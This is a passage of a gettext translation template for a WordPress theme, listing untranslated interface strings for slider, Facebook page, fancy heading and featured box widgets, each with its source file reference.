#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:51
msgid "Title & Description"
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:53
msgid "Slide Heading"
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:62
msgid ""
"I am slide content. Click edit button to change this text. Lorem ipsum dolor "
"sit amet, consectetur adipiscing elit. Ut elit tellus, luctus nec "
"ullamcorper mattis, pulvinar dapibus leo."
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:69
#: inc/js_composer/shortcodes/custom_sliders/settings.php:67
msgid "Button Text 1"
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:77
#: inc/js_composer/shortcodes/custom_sliders/settings.php:72
msgid "Button Link 1"
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:84
#: inc/js_composer/shortcodes/custom_sliders/settings.php:77
msgid "Button Text 2"
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:92
#: inc/js_composer/shortcodes/custom_sliders/settings.php:82
msgid "Button Link 2"
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:100
msgid "Add image url"
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:109
#: inc/js_composer/shortcodes/custom_sliders/settings.php:87
msgid "Image Url"
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:129
msgid "Background Type"
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:151
msgid "Background Video URL"
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:168
msgid "Size"
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:194
msgid "Ken Burns Effect"
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:212
msgid "Zoom Direction"
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:216
msgid "In"
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:217
msgid "Out"
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:233
msgid "Background Overlay"
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:269
msgid "Blend Mode"
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:306
msgid "Set custom style that will only affect this specific slide."
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:442
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:934
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:1004
#: inc/js_composer/shortcodes/custom_sliders/settings.php:141
#: inc/js_composer/shortcodes/custom_sliders/settings.php:371
#: inc/js_composer/shortcodes/custom_sliders/settings.php:466
msgid "Enable Overlay Background Color"
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:532
#: inc/js_composer/shortcodes/custom_sliders/settings.php:20
msgid "Slide 1 Heading"
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:533
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:540
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:547
#: inc/js_composer/shortcodes/custom_sliders/settings.php:21
#: inc/js_composer/shortcodes/custom_sliders/settings.php:32
#: inc/js_composer/shortcodes/custom_sliders/settings.php:43
msgid ""
"Click edit button to change this text. Lorem ipsum dolor sit amet "
"consectetur adipiscing elit dolor"
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:539
#: inc/js_composer/shortcodes/custom_sliders/settings.php:31
msgid "Slide 2 Heading"
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:546
#: inc/js_composer/shortcodes/custom_sliders/settings.php:42
msgid "Slide 3 Heading"
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:559
msgid "Enable Parallax Effect"
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:568
msgid "Enable Full Screen Slider"
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:580
msgid "Use Ratio Height/Width"
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:588
msgid "Ratio Height/Width"
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:616
#: inc/elementor/modules/penci-map/widgets/penci-map.php:126
#: inc/js_composer/shortcodes/google_map/settings.php:74
msgid "Height"
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:644
msgid "Ratio Height/Width on Mobile"
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:659
msgid "Second button in a new line on mobile?"
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:661
msgid ""
"Use in case you're using 2 buttons and this option helps you can show 2 "
"buttons on mobile in 2 separate rows in case your buttons have long text"
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:670
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:366
#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:293
msgid "Slider Options"
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:702
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:395
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:333
#: inc/elementor/modules/penci-image-gallery/widgets/penci-image-gallery.php:201
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:145
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:615
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:670
#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:312
#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:291
#: inc/js_composer/shortcodes/custom_sliders/settings.php:272
#: inc/js_composer/shortcodes/featured_slider/settings.php:165
#: inc/js_composer/shortcodes/image_gallery/settings.php:128
#: inc/js_composer/shortcodes/media_carousel/settings.php:62
#: inc/js_composer/shortcodes/small_list/settings.php:483
#: inc/js_composer/shortcodes/testimonails/settings.php:183
msgid "Autoplay"
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:709
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:400
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:153
#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:320
#: inc/js_composer/shortcodes/custom_sliders/settings.php:279
#: inc/js_composer/shortcodes/featured_slider/settings.php:171
#: inc/js_composer/shortcodes/media_carousel/settings.php:70
#: inc/js_composer/shortcodes/product/settings.php:253
#: inc/js_composer/shortcodes/product_tabs/settings.php:203
#: inc/js_composer/shortcodes/testimonails/settings.php:192
msgid "Slider Loop"
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:717
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:406
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:161
#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:329
#: inc/js_composer/shortcodes/custom_sliders/settings.php:287
#: inc/js_composer/shortcodes/featured_slider/settings.php:177
#: inc/js_composer/shortcodes/media_carousel/settings.php:79
#: inc/js_composer/shortcodes/testimonails/settings.php:202
msgid "Slider Auto Time (at x seconds)"
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:724
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:411
#: inc/elementor/modules/penci-instagram/widgets/penci-instagram.php:151
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:168
#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:337
#: inc/js_composer/shortcodes/custom_sliders/settings.php:294
#: inc/js_composer/shortcodes/featured_slider/settings.php:183
#: inc/js_composer/shortcodes/instagram/settings.php:108
#: inc/js_composer/shortcodes/media_carousel/settings.php:86
#: inc/js_composer/shortcodes/testimonails/settings.php:208
msgid "Slider Speed (at x seconds)"
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:733
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:175
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:645
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:692
#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:345
#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:313
#: inc/js_composer/shortcodes/custom_sliders/settings.php:300
#: inc/js_composer/shortcodes/featured_slider/settings.php:189
#: inc/js_composer/shortcodes/media_carousel/settings.php:92
#: inc/js_composer/shortcodes/small_list/settings.php:515
#: inc/js_composer/shortcodes/testimonails/settings.php:213
msgid "Show next/prev buttons"
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:740
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:369
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:182
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:652
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:697
#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:353
#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:318
#: inc/js_composer/shortcodes/custom_sliders/settings.php:307
#: inc/js_composer/shortcodes/featured_slider/settings.php:195
#: inc/js_composer/shortcodes/media_carousel/settings.php:100
#: inc/js_composer/shortcodes/small_list/settings.php:525
#: inc/js_composer/shortcodes/testimonails/settings.php:222
msgid "Show dots navigation"
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:748
msgid "Dots Navigation Types"
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:753
#: inc/elementor/modules/penci-latest-tweets/widgets/penci-latest-tweets.php:227
#: inc/elementor/modules/penci-popular-posts/widgets/penci-popular-posts.php:226
msgid "Dots"
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:754
msgid "Numbers"
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:755
msgid "Lines"
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:763
msgid "Transition"
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:776
#: inc/js_composer/shortcodes/custom_sliders/settings.php:314
msgid "Content Animation"
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:800
#: inc/js_composer/shortcodes/custom_sliders/settings.php:221
#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:317
msgid "Content Width"
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:1057
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:1202
#: inc/js_composer/shortcodes/custom_sliders/settings.php:530
#: inc/js_composer/shortcodes/custom_sliders/settings.php:644
msgid "Button Width"
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:1065
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:1210
#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:691
#: inc/js_composer/shortcodes/custom_sliders/settings.php:541
#: inc/js_composer/shortcodes/custom_sliders/settings.php:655
#: inc/js_composer/shortcodes/pricing_table/settings.php:230
msgid "Button Height"
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:1074
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:1219
#: inc/js_composer/shortcodes/custom_sliders/settings.php:552
#: inc/js_composer/shortcodes/custom_sliders/settings.php:666
#: inc/options/custom-fields/spacing-field.php:31
msgid "Border Width"
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:1090
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:1235
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:475
#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:644
#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:330
#: inc/js_composer/shortcodes/custom_sliders/settings.php:563
#: inc/js_composer/shortcodes/custom_sliders/settings.php:677
#: inc/js_composer/shortcodes/featured_slider/settings.php:255
#: inc/options/custom-fields/spacing-field.php:32
msgid "Border Radius"
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:1345
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:721
msgid "Dots Pagination"
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:1375
msgid "Number Active Color"
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:1382
msgid "Line Active Color"
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:1391
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:728
msgid "Dot Background Color"
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:1398
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:735
msgid "Dot Borders Color"
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:1405
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:1412
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:742
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:749
msgid "Dot Borders Active Background Color"
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:1419
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:756
msgid "Dot Width"
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:1427
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:764
msgid "Dot Borders Width"
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:1435
msgid "Dot Spacing"
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:1443
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:772
msgid "Previous/Next Buttons"
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:1473
msgid "Button Size"
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:1494
msgid "Dots Spacing Bottom"
msgstr ""

#: inc/elementor/modules/penci-facebook-page/widgets/penci-facebook-page.php:18
msgid " Facebook Page"
msgstr ""

#: inc/elementor/modules/penci-facebook-page/widgets/penci-facebook-page.php:39
msgid "Page"
msgstr ""

#: inc/elementor/modules/penci-facebook-page/widgets/penci-facebook-page.php:45
msgid "Facebook Page URL"
msgstr ""

#: inc/elementor/modules/penci-facebook-page/widgets/penci-facebook-page.php:49
msgid "Paste the URL of the Facebook page."
msgstr ""

#: inc/elementor/modules/penci-facebook-page/widgets/penci-facebook-page.php:55
msgid "Facebook Page Height"
msgstr ""

#: inc/elementor/modules/penci-facebook-page/widgets/penci-facebook-page.php:56
msgid "This option is only applied when \"Hide Stream\" option is not checked"
msgstr ""

#: inc/elementor/modules/penci-facebook-page/widgets/penci-facebook-page.php:65
msgid "Hide Cover Photo?"
msgstr ""

#: inc/elementor/modules/penci-facebook-page/widgets/penci-facebook-page.php:73
msgid "Hide Faces"
msgstr ""

#: inc/elementor/modules/penci-facebook-page/widgets/penci-facebook-page.php:80
msgid "Hide Stream"
msgstr ""

#: inc/elementor/modules/penci-facebook-page/widgets/penci-facebook-page.php:88
#: inc/js_composer/shortcodes/facebook_page/settings.php:64
msgid "Custom Language"
msgstr ""

#: inc/elementor/modules/penci-facebook-page/widgets/penci-facebook-page.php:92
#: inc/widgets/facebook_widget.php:189
msgid ""
"Fill the language code to use on Facebook Page Box here. By default, the "
"language will follow the site language. See more <a href=\"https://"
"developers.facebook.com/docs/internationalization/\" target=\"_blank\">here</"
"a>"
msgstr ""

#: inc/elementor/modules/penci-facebook-page/widgets/penci-facebook-page.php:106
msgid "Please enter a valid URL"
msgstr ""

#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:21
msgid " Fancy Heading"
msgstr ""

#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:60
msgid "Limit Width for Fancy Heading"
msgstr ""

#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:68
msgid "Block Alignment"
msgstr ""

#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:69
msgid "Applies changes when you set a limit width for Fancy Heading"
msgstr ""

#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:101
#: inc/elementor/modules/penci-open-hour/widgets/penci-open-hour.php:64
#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:415
#: inc/js_composer/shortcodes/open_hours/settings.php:56
msgid "Subtitle"
msgstr ""

#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:107
msgid "Subtitle Text"
msgstr ""

#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:109
msgid "This is the subtitle"
msgstr ""

#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:110
msgid "Add Your Subtitle Text Here"
msgstr ""

#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:116
msgid "Subtitle Tag"
msgstr ""

#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:134
msgid "Subtitle Position"
msgstr ""

#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:137
#: inc/js_composer/shortcodes/fancy_heading/settings.php:54
msgid "Above the title"
msgstr ""

#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:138
#: inc/js_composer/shortcodes/fancy_heading/settings.php:55
msgid "Below the title"
msgstr ""

#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:139
#: inc/js_composer/shortcodes/fancy_heading/settings.php:56
msgid "Below the separator"
msgstr ""

#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:147
msgid "Subtitle Spacing Top"
msgstr ""

#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:155
msgid "Subtitle Spacing Bottom"
msgstr ""

#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:163
msgid "Limit Width for Subtitle"
msgstr ""

#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:180
msgid "Title Text"
msgstr ""

#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:182
msgid "This is the title"
msgstr ""

#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:183
msgid "Add Your title Text Here"
msgstr ""

#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:189
msgid "Title Tag"
msgstr ""

#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:207
msgid "Add Link to Title?"
msgstr ""

#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:216
#: inc/js_composer/shortcodes/fancy_heading/settings.php:117
msgid "Add Lines on Left & Right of Title?"
msgstr ""

#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:226
#: inc/js_composer/shortcodes/fancy_heading/settings.php:126
msgid "Lines Height"
msgstr ""

#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:238
#: inc/js_composer/shortcodes/fancy_heading/settings.php:132
msgid "Lines Width"
msgstr ""

#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:250
msgid "Spacing Between Lines & Title"
msgstr ""

#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:264
#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:538
msgid "Separator"
msgstr ""

#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:270
msgid "Use separator?"
msgstr ""

#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:278
msgid "Border Style:"
msgstr ""

#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:291
msgid "Add Separator Icon?"
msgstr ""

#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:311
#: inc/elementor/modules/penci-footer-navmenu/widgets/penci-footer-navmenu.php:136
msgid "Separator Height"
msgstr ""

#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:324
msgid "Separator Width"
msgstr ""

#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:345
msgid "Separator Icon Spacing Top & Bottom"
msgstr ""

#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:355
msgid "Separator Icon Spacing Right & Left"
msgstr ""

#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:367
msgid "Separator Spacing Top"
msgstr ""

#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:387
#: inc/js_composer/shortcodes/about_me/settings.php:66
msgid "<p>I am text block. Click edit button to change this text.</p>"
msgstr ""

#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:392
msgid "Content Spacing Top"
msgstr ""

#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:400
msgid "Limit Content Width"
msgstr ""

#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:413
#: inc/js_composer/shortcodes/fancy_heading/settings.php:11
msgid "Fancy Heading"
msgstr ""

#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:420
msgid "Fancy Heading Padding"
msgstr ""

#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:432
msgid "Add Box Shadow?"
msgstr ""

#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:441
msgid "SubTitle"
msgstr ""

#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:450
msgid "SubTitle Color"
msgstr ""

#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:458
msgid "SubTitle Typography"
msgstr ""

#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:483
msgid "Title Second Color ( for Gradient Text )"
msgstr ""

#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:491
msgid "Title URL Hover Color"
msgstr ""

#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:499
msgid "Title URL Hover Second Color(for Gradient Text)"
msgstr ""

#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:515
msgid "Lines Color"
msgstr ""

#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:525
msgid "Lines Second Color ( for Gradient )"
msgstr ""

#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:548
#: inc/elementor/modules/penci-footer-navmenu/widgets/penci-footer-navmenu.php:210
msgid "Separator Color"
msgstr ""

#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:557
msgid "Separator Second Color ( for Gradient )"
msgstr ""

#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:608
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:637
msgid "Description Links Color"
msgstr ""

#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:617
msgid "Description Links Hover Color"
msgstr ""

#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:626
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:647
#: inc/elementor/modules/penci-login-form/widgets/penci-login-form.php:89
#: inc/js_composer/shortcodes/fancy_heading/settings.php:419
msgid "Description Typography"
msgstr ""

#: inc/elementor/modules/penci-featured-boxes/widgets/penci-featured-boxes.php:22
msgid " Featured Boxes"
msgstr ""

#: inc/elementor/modules/penci-featured-boxes/widgets/penci-featured-boxes.php:64
#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:161
#: inc/elementor/modules/penci-image-gallery/widgets/penci-image-gallery.php:155
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:422
#: inc/elementor/modules/penci-popular-posts/widgets/penci-popular-posts.php:50
#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:189
#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:230
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:62
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:611
#: inc/elementor/modules/penci-product/widgets/penci-product.php:277
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:62
#: inc/elementor/modules/penci-stylisted-articles-count/widgets/penci-stylisted-articles-count.php:52
#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:185
#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:80
#: inc/elementor/modules/penci-text-block/widgets/penci-text-block.php:123
#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:195
#: inc/js_composer/shortcodes/image_gallery/settings.php:79
#: inc/js_composer/shortcodes/product/settings.php:151
#: inc/js_composer/shortcodes/product_brand/settings.php:97
#: inc/js_composer/shortcodes/product_tabs/settings.php:99
#: inc/js_composer/shortcodes/team_member/settings.php:74
#: inc/js_composer/shortcodes/testimonails/settings.php:59
#: inc/template-builder/archive-elements/posts.php:442
msgid "Columns"
msgstr ""

#: inc/elementor/modules/penci-featured-boxes/widgets/penci-featured-boxes.php:78
#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:210
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:373
#: inc/elementor/modules/penci-popular-posts/widgets/penci-popular-posts.php:70
#: inc/elementor/modules/penci-posts-slider/widgets/penci-posts-slider.php:56
#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:52
#: inc/js_composer/shortcodes/posts_slider/settings.php:38
#: inc/js_composer/shortcodes/recent_posts/settings.php:34
#: inc/js_composer/soledad_vc.php:448 inc/js_composer/soledad_vc.php:978
#: inc/js_composer/soledad_vc.php:1682
#: inc/template-builder/archive-elements/posts.php:385
msgid "Image Size Type"
msgstr ""

#: inc/elementor/modules/penci-featured-boxes/widgets/penci-featured-boxes.php:91
#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:228
#: inc/elementor/modules/penci-image-gallery/widgets/penci-image-gallery.php:113
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:392
#: inc/elementor/modules/penci-popular-posts/widgets/penci-popular-posts.php:90
#: inc/elementor/modules/penci-posts-slider/widgets/penci-posts-slider.php:73
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:477
#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:72
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:309
#: inc/elementor/modules/penci-stylisted-articles-count/widgets/penci-stylisted-articles-count.php:87
#: inc/js_composer/shortcodes/small_list/settings.php:178
#: inc/template-builder/archive-elements/posts.php:406
msgid "Image Ratio"
msgstr ""

#: inc/elementor/modules/penci-featured-boxes/widgets/penci-featured-boxes.php:115
msgid "Open in New Tab?"
msgstr ""

#: inc/elementor/modules/penci-featured-boxes/widgets/penci-featured-boxes.php:124
#: inc/gutenberg/block/featured-boxes/index.js:109
msgid "Custom Margin Top ( Unit is Pixel )"
msgstr ""

#: inc/elementor/modules/penci-featured-boxes/widgets/penci-featured-boxes.php:132
#: inc/gutenberg/block/featured-boxes/index.js:116
msgid "Custom Margin Bottom ( Unit is Pixel )"
msgstr ""

#: inc/elementor/modules/penci-featured-boxes/widgets/penci-featured-boxes.php:156
#: inc/js_composer/soledad_vc.php:1986
msgid "URL"
msgstr ""

#: inc/elementor/modules/penci-featured-boxes/widgets/penci-featured-boxes.php:198
#: inc/js_composer/soledad_vc.php:1995
msgid "Background and Border color"
msgstr ""

#: inc/elementor/modules/penci-featured-boxes/widgets/penci-featured-boxes.php:213
#: inc/elementor/modules/penci-latest-tweets/widgets/penci-latest-tweets.php:167
#: inc/elementor/modules/penci-simple-list/widgets/penci-simple-list.php:254
#: inc/js_composer/shortcodes/latest_tweets/settings.php:89
#: inc/js_composer/shortcodes/login_form/settings.php:41
#: inc/js_composer/shortcodes/simple_list/settings.php:46
#: inc/js_composer/soledad_vc.php:2002
msgid "Text color"
msgstr ""

#: inc/elementor/modules/penci-featured-boxes/widgets/penci-featured-boxes.php:221
#: inc/js_composer/soledad_vc.php:2009
msgid "Hover text color"
msgstr ""

#: inc/elementor/modules/penci-featured-boxes/widgets/penci-featured-boxes.php:235
msgid "Text Typography"
msgstr ""

